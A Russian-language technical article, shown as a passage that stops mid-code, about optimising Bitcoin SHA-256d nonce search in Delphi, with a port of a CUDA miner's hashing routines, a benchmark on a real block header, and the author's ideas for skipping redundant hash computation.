Для тех кому не терпится узнать вышло ли из этого чего-то стоящее или же хэшрейт приподнялся на 1-2% - загляните в раздел 6 этого экскурса в глубины SHA и узнайте как глубока кролячья нора.
Как многим из нас известно, в биткоине для подтверждения блока используется хэш в начале которого присутствует целевое количество нулевых бит. Хэш вычисляется из заголовка блока по алгоритму SHA256. И в один прекрасный день у меня родилась мысль: а нельзя ли как-либо ускорить процесс вычисления хэша. Почитав немного информации о структуре заголовка блока и алгоритме SHA256 я понял - можно. И даже сразу увидел несколько потенциальных возможностей сделать задуманное. Проведя несколько дней в состояние глубокого исследования задачи мной были найдены пути и решения которые могли бы увеличить хэшрейт. Но назревал
следующий вопрос: а не реализовал ли кто-то это уже до меня? Пришлось найти исходники некоторых популярных и не очень майнеров на CPU и GPU, а затем покопаться в них. Некоторые из найденных образцов использовали простое хэширование без каких-либо попыток ускорить процесс, другие же старались оптимизировать код SHA256 как только можно. Одним из майнеров старающихся интегрировать как можно больше методов ускорения хэшрейта за счет кода оказался CUDA майнер. Выдаваемый им хэшрейт было решено взять за базовый и стараться улучшить это значение всеми возможными способами.
Так как моим любимым языком программирования является Delphi, то весь код в дальнейшем будет именно на нём.

1. Клонируем код CUDA
Мной были найдены исходники CUDA майнера и первой поставленной задачей было провести объективный тест замеряющий хэшрейт данного софта. Так как на C-ях я кодить не люблю и весь дальнейших код будет именно на Delphi, то кодовую базу CUDA пришлось транслировать на тот язык с которым буду работать в данной статье.
Предоставляю этот код дабы желающие могли убедиться, что я не пытаюсь как-либо замедлить его работу и специально получить более низкий хэшрейт.
Код майнера:

Code:Copy to clipboard

unit CUDA;

interface

uses SysUtils,Dialogs,Windows;

type

 TUINT64 = record
case Byte of
0:(Value64:UINT64);
1:(LoDWord, HiDWord: Cardinal);
 end;

const
  UnixStartDate: TDateTime = 25569.0;

var
cpu_H256:array [0..7] of Cardinal=($6A09E667, $BB67AE85, $3C6EF372, $A54FF53A,$510E527F, $9B05688C, $1F83D9AB, $5BE0CD19);
cpu_K:array [0..63] of Cardinal=($428a2f98,$71374491,$b5c0fbcf,$e9b5dba5,$3956c25b,$59f111f1,$923f82a4,$ab1c5ed5,
$d807aa98,$12835b01,$243185be,$550c7dc3,$72be5d74,$80deb1fe,$9bdc06a7,$c19bf174,
$e49b69c1,$efbe4786,$0fc19dc6,$240ca1cc,$2de92c6f,$4a7484aa,$5cb0a9dc,$76f988da,
$983e5152,$a831c66d,$b00327c8,$bf597fc7,$c6e00bf3,$d5a79147,$06ca6351,$14292967,
$27b70a85,$2e1b2138,$4d2c6dfc,$53380d13,$650a7354,$766a0abb,$81c2c92e,$92722c85,
$a2bfe8a1,$a81a664b,$c24b8b70,$c76c51a3,$d192e819,$d6990624,$f40e3585,$106aa070,
$19a4c116,$1e376c08,$2748774c,$34b0bcb5,$391c0cb3,$4ed8aa4a,$5b9cca4f,$682e6ff3,
$748f82ee,$78a5636f,$84c87814,$8cc70208,$90befffa,$a4506ceb,$bef9a3f7,$c67178f2);
c_midstate76:array [0..7] of Cardinal;
c_dataEnd80:array [0..3] of Cardinal;
c_target:array [0..1] of Cardinal;
d_target:TUINT64;

function sha256d_hash_80(pdata,ptarget:array of Cardinal;var hash:array of Cardinal;var nonce:Cardinal):boolean;

implementation

function DateTimeToUnix(ConvDate: TDateTime): Longint;
begin
Result := Round((ConvDate - UnixStartDate) * 86400);
end;

function ROTR(x:Cardinal;n:byte):Cardinal;
begin
result:=(x shr n) or (x shl (32-n));
end;

function cuda_swab32(x:Cardinal):Cardinal;
begin
result:=((x shl 24) and $ff000000) or ((x shl 8) and $00ff0000) or ((x shr 8) and $0000ff00) or ((x shr 24) and $000000ff);
end;

procedure sha256_step1_host(a:Cardinal;b:Cardinal;c:Cardinal;var d:Cardinal;e:Cardinal;f:Cardinal;g:Cardinal;var h:Cardinal;a_in:Cardinal;Kshared:Cardinal);
var t1,t2,vxandx,bsg21,bsg20,andorv:Cardinal;
begin
vxandx := ((f xor g) and e) xor g;
bsg21 := ROTR(e, 6) xor ROTR(e, 11) xor ROTR(e, 25);
bsg20 := ROTR(a, 2) xor ROTR(a, 13) xor ROTR(a, 22);
andorv := (b and c) or ((b or c) and a);
t1 := h + bsg21 + vxandx + Kshared + a_in;
t2 := bsg20 + andorv;
d := d + t1;
h := t1 + t2;
end;

procedure sha256_step2_host(a:Cardinal;b:Cardinal;c:Cardinal;var d:Cardinal;e:Cardinal;f:Cardinal;g:Cardinal;var h:Cardinal;var a_in:array of Cardinal;pc:Cardinal;Kshared:Cardinal);
var
t1,t2:Cardinal;
pcidx1,pcidx2,pcidx3:integer;
inx0,inx1,inx2,inx3:Cardinal;
ssg21,ssg20,vxandx,bsg21,bsg20,andorv:Cardinal;
begin
pcidx1 := (pc-2)  and $F;
pcidx2 := (pc-7)  and $F;
pcidx3 := (pc-15) and $F;

inx0 := a_in[pc];
inx1 := a_in[pcidx1];
inx2 := a_in[pcidx2];
inx3 := a_in[pcidx3];

ssg21 := ROTR(inx1, 17) xor ROTR(inx1, 19) xor (inx1 shr 10);
ssg20 := ROTR(inx3, 7) xor ROTR(inx3, 18) xor (inx3 shr 3);
vxandx := ((f xor g) and e) xor g;
bsg21 := ROTR(e, 6) xor ROTR(e, 11) xor ROTR(e, 25);
bsg20 := ROTR(a, 2) xor ROTR(a, 13) xor ROTR(a, 22);
andorv := (b and c) or ((b or c) and a);

a_in[pc] := ssg21 + inx2 + ssg20 + inx0;

t1 := h + bsg21 + vxandx + Kshared + a_in[pc];
t2 := bsg20 + andorv;
d :=  d + t1;
h := t1 + t2;
end;

procedure sha256_round_body_host(a_in:array of Cardinal;var state:array of Cardinal;Kshared:array of Cardinal);
var a,b,c,d,e,f,g,h:Cardinal;
i:integer;
begin
a:=state[0];
b:=state[1];
c:=state[2];
d:=state[3];
e:=state[4];
f:=state[5];
g:=state[6];
h:=state[7];

sha256_step1_host(a,b,c,d,e,f,g,h,a_in[0], Kshared[0]);
sha256_step1_host(h,a,b,c,d,e,f,g,a_in[1], Kshared[1]);
sha256_step1_host(g,h,a,b,c,d,e,f,a_in[2], Kshared[2]);
sha256_step1_host(f,g,h,a,b,c,d,e,a_in[3], Kshared[3]);
sha256_step1_host(e,f,g,h,a,b,c,d,a_in[4], Kshared[4]);
sha256_step1_host(d,e,f,g,h,a,b,c,a_in[5], Kshared[5]);
sha256_step1_host(c,d,e,f,g,h,a,b,a_in[6], Kshared[6]);
sha256_step1_host(b,c,d,e,f,g,h,a,a_in[7], Kshared[7]);
sha256_step1_host(a,b,c,d,e,f,g,h,a_in[8], Kshared[8]);
sha256_step1_host(h,a,b,c,d,e,f,g,a_in[9], Kshared[9]);
sha256_step1_host(g,h,a,b,c,d,e,f,a_in[10], Kshared[10]);
sha256_step1_host(f,g,h,a,b,c,d,e,a_in[11], Kshared[11]);
sha256_step1_host(e,f,g,h,a,b,c,d,a_in[12], Kshared[12]);
sha256_step1_host(d,e,f,g,h,a,b,c,a_in[13], Kshared[13]);
sha256_step1_host(c,d,e,f,g,h,a,b,a_in[14], Kshared[14]);
sha256_step1_host(b,c,d,e,f,g,h,a,a_in[15], Kshared[15]);

for i:=0 to 2 do
begin
 sha256_step2_host(a,b,c,d,e,f,g,h,a_in,0, Kshared[16+16*i]);
 sha256_step2_host(h,a,b,c,d,e,f,g,a_in,1, Kshared[17+16*i]);
 sha256_step2_host(g,h,a,b,c,d,e,f,a_in,2, Kshared[18+16*i]);
 sha256_step2_host(f,g,h,a,b,c,d,e,a_in,3, Kshared[19+16*i]);
 sha256_step2_host(e,f,g,h,a,b,c,d,a_in,4, Kshared[20+16*i]);
 sha256_step2_host(d,e,f,g,h,a,b,c,a_in,5, Kshared[21+16*i]);
 sha256_step2_host(c,d,e,f,g,h,a,b,a_in,6, Kshared[22+16*i]);
 sha256_step2_host(b,c,d,e,f,g,h,a,a_in,7, Kshared[23+16*i]);
 sha256_step2_host(a,b,c,d,e,f,g,h,a_in,8, Kshared[24+16*i]);
 sha256_step2_host(h,a,b,c,d,e,f,g,a_in,9, Kshared[25+16*i]);
 sha256_step2_host(g,h,a,b,c,d,e,f,a_in,10,Kshared[26+16*i]);
 sha256_step2_host(f,g,h,a,b,c,d,e,a_in,11,Kshared[27+16*i]);
 sha256_step2_host(e,f,g,h,a,b,c,d,a_in,12,Kshared[28+16*i]);
 sha256_step2_host(d,e,f,g,h,a,b,c,a_in,13,Kshared[29+16*i]);
 sha256_step2_host(c,d,e,f,g,h,a,b,a_in,14,Kshared[30+16*i]);
 sha256_step2_host(b,c,d,e,f,g,h,a,a_in,15,Kshared[31+16*i]);
end;

state[0] := state[0]+a;
state[1] := state[1]+b;
state[2] := state[2]+c;
state[3] := state[3]+d;
state[4] := state[4]+e;
state[5] := state[5]+f;
state[6] := state[6]+g;
state[7] := state[7]+h;

end;

procedure sha256d_setBlock_80(pdata,ptarget:array of Cardinal);
var
a_in:array [0..15] of Cardinal;
a_buf:array [0..7] of Cardinal;
a_end:array [0..3] of Cardinal;
i:integer;
begin

for i:=0 to 15 do
 a_in[i] := cuda_swab32(pdata[i]);
for i:=0 to 7 do
 a_buf[i] := cpu_H256[i];
for i:=0 to 3 do
 a_end[i] := cuda_swab32(pdata[16+i]);

sha256_round_body_host(a_in, a_buf, cpu_K);

Move(a_buf[0],c_midstate76[0],32);
Move(a_end[0],c_dataEnd80,16);
Move(ptarget[6],c_target[0],8);
Move(ptarget[6],d_target,8);

end;

function xandx(a,b,c:Cardinal):Cardinal;
begin
result:=((b xor c) and a) xor c;
end;

function xor3b(a,b,c:Cardinal):Cardinal;
begin
result:=a xor b xor c;
end;

function bsg2_1(x:Cardinal):Cardinal;
begin
result:=xor3b(ROTR(x,6),ROTR(x,11),ROTR(x,25));
end;

function bsg2_0(x:Cardinal):Cardinal;
begin
result:=xor3b(ROTR(x,2),ROTR(x,13),ROTR(x,22));
end;

function andor32(a,b,c:Cardinal):Cardinal;
begin
result:=(b and c) or ((b or c) and a);
end;

procedure sha2_step1(a:Cardinal;b:Cardinal;c:Cardinal;var d:Cardinal;e:Cardinal;f:Cardinal;g:Cardinal;var h:Cardinal;a_in:Cardinal;Kshared:Cardinal);
var
t1,t2,vxandx,bsg21,bsg20,andorv:Cardinal;
begin
vxandx := xandx(e, f, g);
bsg21 := bsg2_1(e);
bsg20 := bsg2_0(a);
andorv := andor32(a,b,c);

t1 := h + bsg21 + vxandx + Kshared + a_in;
t2 := bsg20 + andorv;
d := d + t1;
h := t1 + t2;
end;

function ssg2_0(x:Cardinal):Cardinal;
begin
result:=xor3b(ROTR(x,7),ROTR(x,18),x shr 3);
end;

function ssg2_1(x:Cardinal):Cardinal;
begin
result:=xor3b(ROTR(x,17),ROTR(x,19),x shr 10);
end;

procedure sha2_step2(a:Cardinal;b:Cardinal; c:Cardinal;var d:Cardinal; e:Cardinal; f:Cardinal; g:Cardinal; var h:Cardinal;var a_in:array of Cardinal; pc:Cardinal; Kshared:Cardinal);
var
t1,t2:Cardinal;
pcidx1,pcidx2,pcidx3:integer;
inx0,inx1,inx2,inx3:Cardinal;
ssg21,ssg20,vxandx,bsg21,bsg20,andorv:Cardinal;
begin
pcidx1 := (pc-2) and $F;
pcidx2 := (pc-7) and $F;
pcidx3 := (pc-15) and $F;

inx0 := a_in[pc];
inx1 := a_in[pcidx1];
inx2 := a_in[pcidx2];
inx3 := a_in[pcidx3];

ssg21 := ssg2_1(inx1);
ssg20 := ssg2_0(inx3);
vxandx := xandx(e, f, g);
bsg21 := bsg2_1(e);
bsg20 := bsg2_0(a);
andorv := andor32(a,b,c);

a_in[pc] := ssg21 + inx2 + ssg20 + inx0;

t1 := h + bsg21 + vxandx + Kshared + a_in[pc];
t2 := bsg20 + andorv;
d :=  d + t1;
h := t1 + t2;
end;

procedure sha256_round_body(var a_in:array of Cardinal;var state:array of Cardinal;var Kshared:array of Cardinal);
var
a,b,c,d,e,f,g,h:Cardinal;
i:integer;
begin
a:=state[0];
b:=state[1];
c:=state[2];
d:=state[3];
e:=state[4];
f:=state[5];
g:=state[6];
h:=state[7];

sha2_step1(a,b,c,d,e,f,g,h,a_in[0], Kshared[0]);
sha2_step1(h,a,b,c,d,e,f,g,a_in[1], Kshared[1]);
sha2_step1(g,h,a,b,c,d,e,f,a_in[2], Kshared[2]);
sha2_step1(f,g,h,a,b,c,d,e,a_in[3], Kshared[3]);
sha2_step1(e,f,g,h,a,b,c,d,a_in[4], Kshared[4]);
sha2_step1(d,e,f,g,h,a,b,c,a_in[5], Kshared[5]);
sha2_step1(c,d,e,f,g,h,a,b,a_in[6], Kshared[6]);
sha2_step1(b,c,d,e,f,g,h,a,a_in[7], Kshared[7]);
sha2_step1(a,b,c,d,e,f,g,h,a_in[8], Kshared[8]);
sha2_step1(h,a,b,c,d,e,f,g,a_in[9], Kshared[9]);
sha2_step1(g,h,a,b,c,d,e,f,a_in[10], Kshared[10]);
sha2_step1(f,g,h,a,b,c,d,e,a_in[11], Kshared[11]);
sha2_step1(e,f,g,h,a,b,c,d,a_in[12], Kshared[12]);
sha2_step1(d,e,f,g,h,a,b,c,a_in[13], Kshared[13]);
sha2_step1(c,d,e,f,g,h,a,b,a_in[14], Kshared[14]);
sha2_step1(b,c,d,e,f,g,h,a,a_in[15], Kshared[15]);

for i:=0 to 2 do
begin
 sha2_step2(a,b,c,d,e,f,g,h,a_in,0, Kshared[16+16*i]);
 sha2_step2(h,a,b,c,d,e,f,g,a_in,1, Kshared[17+16*i]);
 sha2_step2(g,h,a,b,c,d,e,f,a_in,2, Kshared[18+16*i]);
 sha2_step2(f,g,h,a,b,c,d,e,a_in,3, Kshared[19+16*i]);
 sha2_step2(e,f,g,h,a,b,c,d,a_in,4, Kshared[20+16*i]);
 sha2_step2(d,e,f,g,h,a,b,c,a_in,5, Kshared[21+16*i]);
 sha2_step2(c,d,e,f,g,h,a,b,a_in,6, Kshared[22+16*i]);
 sha2_step2(b,c,d,e,f,g,h,a,a_in,7, Kshared[23+16*i]);
 sha2_step2(a,b,c,d,e,f,g,h,a_in,8, Kshared[24+16*i]);
 sha2_step2(h,a,b,c,d,e,f,g,a_in,9, Kshared[25+16*i]);
 sha2_step2(g,h,a,b,c,d,e,f,a_in,10,Kshared[26+16*i]);
 sha2_step2(f,g,h,a,b,c,d,e,a_in,11,Kshared[27+16*i]);
 sha2_step2(e,f,g,h,a,b,c,d,a_in,12,Kshared[28+16*i]);
 sha2_step2(d,e,f,g,h,a,b,c,a_in,13,Kshared[29+16*i]);
 sha2_step2(c,d,e,f,g,h,a,b,a_in,14,Kshared[30+16*i]);
 sha2_step2(b,c,d,e,f,g,h,a,a_in,15,Kshared[31+16*i]);
end;

state[0] := state[0]+a;
state[1] := state[1]+b;
state[2] := state[2]+c;
state[3] := state[3]+d;
state[4] := state[4]+e;
state[5] := state[5]+f;
state[6] := state[6]+g;
state[7] := state[7]+h;
end;


procedure sha256_round_last(var a_in:array of Cardinal;var state:array of Cardinal;var Kshared:array of Cardinal);
var
a,b,c,d,e,f,g,h:Cardinal;
i:integer;
begin
a := state[0];
b := state[1];
c := state[2];
d := state[3];
e := state[4];
f := state[5];
g := state[6];
h := state[7];

sha2_step1(a,b,c,d, e,f,g,h, a_in[ 0], Kshared[ 0]);
sha2_step1(h,a,b,c, d,e,f,g, a_in[ 1], Kshared[ 1]);
sha2_step1(g,h,a,b, c,d,e,f, a_in[ 2], Kshared[ 2]);
sha2_step1(f,g,h,a, b,c,d,e, a_in[ 3], Kshared[ 3]);
sha2_step1(e,f,g,h, a,b,c,d, a_in[ 4], Kshared[ 4]);
sha2_step1(d,e,f,g, h,a,b,c, a_in[ 5], Kshared[ 5]);
sha2_step1(c,d,e,f, g,h,a,b, a_in[ 6], Kshared[ 6]);
sha2_step1(b,c,d,e, f,g,h,a, a_in[ 7], Kshared[ 7]);
sha2_step1(a,b,c,d, e,f,g,h, a_in[ 8], Kshared[ 8]);
sha2_step1(h,a,b,c, d,e,f,g, a_in[ 9], Kshared[ 9]);
sha2_step1(g,h,a,b, c,d,e,f, a_in[10], Kshared[10]);
sha2_step1(f,g,h,a, b,c,d,e, a_in[11], Kshared[11]);
sha2_step1(e,f,g,h, a,b,c,d, a_in[12], Kshared[12]);
sha2_step1(d,e,f,g, h,a,b,c, a_in[13], Kshared[13]);
sha2_step1(c,d,e,f, g,h,a,b, a_in[14], Kshared[14]);
sha2_step1(b,c,d,e, f,g,h,a, a_in[15], Kshared[15]);

for i:=0 to 1 do
begin
 sha2_step2(a,b,c,d, e,f,g,h, a_in, 0, Kshared[16+16*i]);
 sha2_step2(h,a,b,c, d,e,f,g, a_in, 1, Kshared[17+16*i]);
 sha2_step2(g,h,a,b, c,d,e,f, a_in, 2, Kshared[18+16*i]);
 sha2_step2(f,g,h,a, b,c,d,e, a_in, 3, Kshared[19+16*i]);
 sha2_step2(e,f,g,h, a,b,c,d, a_in, 4, Kshared[20+16*i]);
 sha2_step2(d,e,f,g, h,a,b,c, a_in, 5, Kshared[21+16*i]);
 sha2_step2(c,d,e,f, g,h,a,b, a_in, 6, Kshared[22+16*i]);
 sha2_step2(b,c,d,e, f,g,h,a, a_in, 7, Kshared[23+16*i]);
 sha2_step2(a,b,c,d, e,f,g,h, a_in, 8, Kshared[24+16*i]);
 sha2_step2(h,a,b,c, d,e,f,g, a_in, 9, Kshared[25+16*i]);
 sha2_step2(g,h,a,b, c,d,e,f, a_in,10, Kshared[26+16*i]);
 sha2_step2(f,g,h,a, b,c,d,e, a_in,11, Kshared[27+16*i]);
 sha2_step2(e,f,g,h, a,b,c,d, a_in,12, Kshared[28+16*i]);
 sha2_step2(d,e,f,g, h,a,b,c, a_in,13, Kshared[29+16*i]);
 sha2_step2(c,d,e,f, g,h,a,b, a_in,14, Kshared[30+16*i]);
 sha2_step2(b,c,d,e, f,g,h,a, a_in,15, Kshared[31+16*i]);
end;

sha2_step2(a,b,c,d, e,f,g,h, a_in, 0, Kshared[16+16*2]);
sha2_step2(h,a,b,c, d,e,f,g, a_in, 1, Kshared[17+16*2]);
sha2_step2(g,h,a,b, c,d,e,f, a_in, 2, Kshared[18+16*2]);
sha2_step2(f,g,h,a, b,c,d,e, a_in, 3, Kshared[19+16*2]);
sha2_step2(e,f,g,h, a,b,c,d, a_in, 4, Kshared[20+16*2]);
sha2_step2(d,e,f,g, h,a,b,c, a_in, 5, Kshared[21+16*2]);
sha2_step2(c,d,e,f, g,h,a,b, a_in, 6, Kshared[22+16*2]);
sha2_step2(b,c,d,e, f,g,h,a, a_in, 7, Kshared[23+16*2]);
sha2_step2(a,b,c,d, e,f,g,h, a_in, 8, Kshared[24+16*2]);
sha2_step2(h,a,b,c, d,e,f,g, a_in, 9, Kshared[25+16*2]);
sha2_step2(g,h,a,b, c,d,e,f, a_in,10, Kshared[26+16*2]);
sha2_step2(f,g,h,a, b,c,d,e, a_in,11, Kshared[27+16*2]);
sha2_step2(e,f,g,h, a,b,c,d, a_in,12, Kshared[28+16*2]);
sha2_step2(d,e,f,g, h,a,b,c, a_in,13, Kshared[29+16*2]);

state[6]:=state[6]+g;
state[7]:=state[7]+h;
end;

function cuda_swab32ll(x:TUINT64):TUINT64;
begin
result.LoDWord:=cuda_swab32(x.LoDWord);
result.HiDWord:=cuda_swab32(x.HiDWord)
end;

function sha256d_gpu_hash_shared(nonce:Cardinal):boolean;
var
dat:array [0..15] of Cardinal;
buf:array [0..7] of Cardinal;
i:integer;
high:TUINT64;
begin
dat[0]:=c_dataEnd80[0];
dat[1]:=c_dataEnd80[1];
dat[2]:=c_dataEnd80[2];
dat[3]:=nonce;
dat[4]:=2147483648;
dat[15]:=640;

for i:=5 to 14 do
 dat[i] := 0;

for i:=0 to 7 do
 buf[i]:=c_midstate76[i];

sha256_round_body(dat, buf, cpu_K);

for i:=0 to 7 do
 dat[i]:=buf[i];

dat[8]:=2147483648;

for i:=9 to 14 do
 dat[i]:=0;

dat[15]:=256;

for i:=0 to 7 do
 buf[i]:=cpu_H256[i];

sha256_round_last(dat, buf, cpu_K);

high.HiDWord:=buf[6];
high.LoDWord:=buf[7];

high := cuda_swab32ll(high);

if high.Value64<=d_target.Value64 then
 result:=true
else
 result:=false;

end;

function sha256d_hash_80(pdata,ptarget:array of Cardinal;var hash:array of Cardinal;var nonce:Cardinal):boolean;
var
dt:longint;
begin
result:=true;

dt:=Now;

sha256d_setBlock_80(pdata,ptarget);

for nonce:=0 to 4294967295 do
begin

 if sha256d_gpu_hash_shared(nonce) then
  Exit;

 if nonce=10000001 then
  Showmessage(inttostr(DateTimeToUnix(now)-dt));
end;

result:=false;
end;

end.

В самом майнере я добавил код подсчитывающий время майнинга 10000000 хэшей. На этой основе будет расчитан хэшрейт.
Теперь нужно подготовить тестовый заголовок блока, назначить цель и запустить майнинг. Так как формирование заголовка блока из транзакций и расчет цели выходят за рамки этой статьи, то я их установлю в качестве фиксированных значений. В качестве образца был взят реально существующий блок цепи блокчейна биткоина под номером 125552. Nonce удовлетворяющий условиям цели для данной транзакции 1117865621. Я специально не менял таймстамп метку начала майнинга для текущего блока чтобы можно было проверить правильность вычисления золотой шары для указанного выше блока с имеющимся nonce.

Code:Copy to clipboard

function SwapString(s:string):string;
var
i:integer;
begin
result:='';
i:=length(s)-1;
while i>0 do
begin
 result:=result+copy(s,i,2);
 i:=i-2;
end;
end;

function HexToInt(Str : string): integer;
var
i, r : integer;
begin
val('$'+Trim(Str),r, i);
if i<>0 then
 HexToInt := 0
else
 HexToInt := r;
end;

function HexToString(s:string):string;
var
i:integer;
begin
result:='';
i:=1;
while i<=length(s) do
begin
 result:=result+char(HexToInt(s[i]+s[i+1]));
 i:=i+2;
end;
end;

procedure InitAndStart;
var
data:array of Cardinal;
hash:array of Cardinal;
prevblock,rootHash:string;
nonce:Cardinal;
target:array of Cardinal;
begin
setlength(hash,8);

setlength(target,8);

target[0]:=0;
target[1]:=0;
target[2]:=0;
target[3]:=0;
target[4]:=0;
target[5]:=4060086272;
target[6]:=17593;
target[7]:=0;

prevblock:=HEXToString(SwapString('00000000000008a3a41b85b8b29ad444def299fee21793cd8b9e567eab02cd81'));
rootHash:=HEXToString(SwapString('2b12fcf1b09288fcaff797d71e950e71ae42b91e8bdb2304758dfcffc2b620e3'));

setlength(data,20);

data[0]:=1;
Move(prevblock[1],data[1],32);
Move(rootHash[1],data[9],32);
data[17]:=1305998791;
data[18]:=440711666;
data[19]:=0;

if sha256d_hash_80(data,target,hash,nonce) then
 Showmessage(inttostr(nonce))
else
 Showmessage('Not found');
end;

Результат замера скорости CUDA майнера в одном потоке на CPU: 107526 хэша в секунду.

2. Базовая теоретическая информация: алгоритм SHA256, Merkle Root, block header, golden share

2.0 Вводная в алгоритм майнинга
Для дальнейшего понимания что я делаю и как вообще всё это работает надо разобраться с структурой блока биткоина и процессом вычисления подтверждения блока.
Подтверждение блока делится на несколько этапов:
а) Наращиваем extranonce в coinbase транзакции, обнуляем nonce
б) Вычисляем Merkle Root с новой coinbase и формируем заголовок блока
в) Вычисляем двойной хэш от заголовка блока. Если хэш удовлетворяет заданным условиям - выходим из функции.

Если хэш не удовлетворяет заданным условиям - в заголовке блока наращиваем nonce на 1 и повторяем пункт в). Если после наращивания nonce стало больше чем 4294967295, то возвращаемся к пункту а)
В рамках данной статьи я ограничусь методами ускорения вычисления подтверждения блока на этапе перебора nonce и не буду рассказывать о том как меняется coinbase транзакция если nonce превышает пределы допустимого диапазона, как вычисляется Merkle Root и как можно ещё сильней увеличить скорость майнинга. Т.е. мы сейчас работаем только с пунктом в) описанного выше алгоритма. Хотя в пунктах а) и б) тоже есть векторы для исследования.
2.1 Block header и golden share
Как я уже писал выше, подтверждение блока это SHA256 хэш в начале которого присутствует нужное количество нулевых бит или больше. Но это не простой хэш, а хэш вычисленный из хэша от заголовка блока. Выглядит это так: sha256(sha256(block_header)). Хэш удовлетворяющий найденным условиям называется золотой шарой. Для того чтобы найти такую золотую шару нужно провести множество вычислений меняя некий nonce постоянно наращивая его на 1 и вычисляя новый двойной хэш, а затем проверять его на условие достижения цели. Но где же прячется этот nonce и что он из себя представляет?
Nonce находится внутри block_header и представляет из себя целое беззнаковое число размером 32 бита. Для далеких от кодинга людей, а также для "кодеров" умеющих двигать только кнопочки по форме разжую: nonce может из себя представлять число в диапазоне от 0 до 4294967295. В начале поиска золотой шары nonce равен 0 и с каждым новым вычисленным хэшем не удовлетворяющим заданному условию он увеличивается на 1.
Теперь посмотрим во внутренности заголовка блока и узнаем из чего он состоит:
а) Версия - версия актуальной сети биткоина. Размер 4 байта
б) Хэш прошлого блока - размер 32 байта
в) Merkle Root - тоже хэш, но о нем поговорим позже. Размер 32 байта
г) Таймстамп - UTC время начала майнинга. Полные ноды не принимают блоки с хэадерами в которых таймстамп отличен от их времени более чем на 2 часа. Среднее время майнинга блока должно составлять 10 минут. Размер 4 байта
д) Сложность - Сколько нулевых бит должно быть в начале золотой шары. Размер 4 байта
ж) Nonce - выбирается перебором. Размер 4 байта
2.2 Merkle Root
Не буду давать полное описание этого хэша. Скажу только что Merkle Root - это вычисленный по определенным правилам хэш из всех транзакций присутствующих в блоке.
2.3 SHA256
Для дальнейшей разработки нам потребуется изучить сам алгоритм хэширования SHA256 и подготовить его исходники для того чтобы было с чем работать дальше.
Также не буду давать полное описание данного алгоритма, так как это сильно раздует статью. Для тех кому интерено: tproger.ru/translations/sha-2-step-by- step/

3. CUDA: борьба за хэшрейт
Майнинг на классическом алгоритме SHA подразумевает из себя полноценное вычисление хэша из заголовка блока и рассчет хэша из прошлого хэша. Далее происходит тестирование на достижение цели. Первое хэширование имеет два раунда особенность которых в том, что первый раунд заканчивается всегда одним и тем-же результатом. Это происходит за счет того, что в заголовке блока хэшируемая в первом раунде часть не меняется пока не будет изменен сам заголовок блока. Из-за этой особенности можно вынести первый раунд хэширования за пределы цикла перебора nonce и вычислить это значение всего один раз. Разработчики CUDA учли эту возможность и тем самым подняли хэшрейт приблизительно в 1.33 раза от того что могло бы быть при классической реализации. Но
по неизвестным мне причинам многие другие софты для майнинга не используют этот маленький легальный чит. Кроме того в CUDA хэширование ускоряется за счет не полного рассчета хэша, а окончательное вычисление лишь последних двух двойных слов и тестирование их на достижение цели. Это можно увидеть в последних двух строчках процедуры рассчета второго хэша sha256_round_last:

Code:Copy to clipboard

state[6]:=state[6]+g;
state[7]:=state[7]+h;

И последнее что реализовано в CUDA майнере - стабильная генерация расширенного блока. Алгоритм SHA подразумевает изменение входных данных перед тем как начать процесс рассчета хэша. Во-первых, в конец хэшируемых данных добавляется бит 1. Во-вторых, к хэшируемым данным добавляются нулевые биты пока длинна данных не станет кратна 512. И в-третьих, в последние 64 бита расширенного массива данных записывается длинна хэшируемых данных без изменений в битах. Таким образом при использование чистого SHA у нас происходят множество операций с памятью, рассчеты длинны, операции деления и умножения которые совершенно не нужны. Размер заголовка блока у нас фиксирован и всегда равен 80 байтам. Т.е. после расширения хэшируемый массив данных будет иметь длинну 32 32-битных беззнаковых числа. Позиция единичного бита будет фиксирована и располагаться он будет в 20 элементе расширенного массива. Также длинна хэшируемых данных фиксирована и равна 640 битам. Длинну записываем также в фиксированное место, а именно в 31 элемент.
Во время второго хэширования у нас также есть статические данные. Длинна хэшируемых данных 32 байта, Длинна массива после расширения 16 32-битных беззнаковых числа. Единичный бит записывается в позицию 8. Размер хэшируемых данных 256 бит и он записывается в позицию 15 расширенного массива.
Таким образом это всё можно рассчитать всего один раз и выделить нужный объем памяти без лишних телодвижений. В CUDA майнере это всё реализованно.
За счет выше описанных методов хэшрейт CUDA майнера держится на уровне 107526 х/с. Можно ли улучшить это значение? Давайте постараемся в этом разобраться.

4. Обнаруженные методы бустинга хэшрейта
В процессе долгого и кропотливого исследования мне удалось обнаружить ещё несколько мест которые можно оптимизировать и выдавить из SHA дополнительные процентики к столь желанному хэшрейту. Для реализации задуманного пришлось отказаться от кода хэширования предложенного в CUDA майнере и реализовать SHA256 с нуля в его классическом виде, а уже затем постепенно интегрировать все уже имеющиеся и новые задумки влияющие на скорость.
Самое первое на что я обратил внимание ещё до того как нашел код CUDA, так это то, что нет смысла вычислять второй хэш в полном объеме. Но если в CUDA вычисляются последние 2 части хэша, то я считаю, что в этом нет смысла и хватит одной.

Обосную:
В последнее время сложность майнинга уже на столько высока, что требуемая цель сильно превышает 32 нулевых бита. Вероятность того, что сложность упадет до значения эквивалентного менее чем 32 битам стремится к нулю. Значит мы можем спокойно вычислять только последний элемент хэша и сравнивать его с 0. Если он больше 0, то этот хэш гарантированно не является искомым и дальнейшие вычисления, а также последующий тест на достижения цели являются бессмысленными и следует сразу же брать новый nonce.
Также в процессе каждого раунда хэширования заголовка блока соответствующая функция должна генерировать очередь сообщений размером 64 32-битных беззнаковых числа. При вычисление первого хэша четверть этой очереди берется из хэшируемых данных, а оставшаяся рассчитывается в процессе. Так как мы знаем как будут меняться хэшируемые данные на каждом этапе перебора nonce, то мы можем предсказать как будет меняться очередь сообщений. Таким образом теряется смысл в постоянной генерации очереди сообщений в полном объеме. Её мы можем сгенерировать один раз и передавать в нужные функции. Этим мы избавляемся от некоторых операций выделения, копирования и изменения памяти.
Более детальное изучение процесса генерации очереди сообщений для хэширования второй части заголовка выявило, что при неизменном timestamp 16 и 17 элементы данной очереди будут фиксированы и неизменны на длительном промежутке времени. Так как таймстамп нет смысла менять каждую интерацию цикла смены nonce и даже нет смысла менять его каждую секунду, а вполне хватит замены времени начала майнинга в периоде к примеру раз в пол часа или и того реже, то эти элементы очереди также можно пересчитывать только в момент изменения timestamp, а в остальное время просто брать их из памяти.
Кроме того посмотрим на код вычисления элементов очереди сообщений в традиционном SHA:

Code:Copy to clipboard

for i:=16 to 63 do
begin
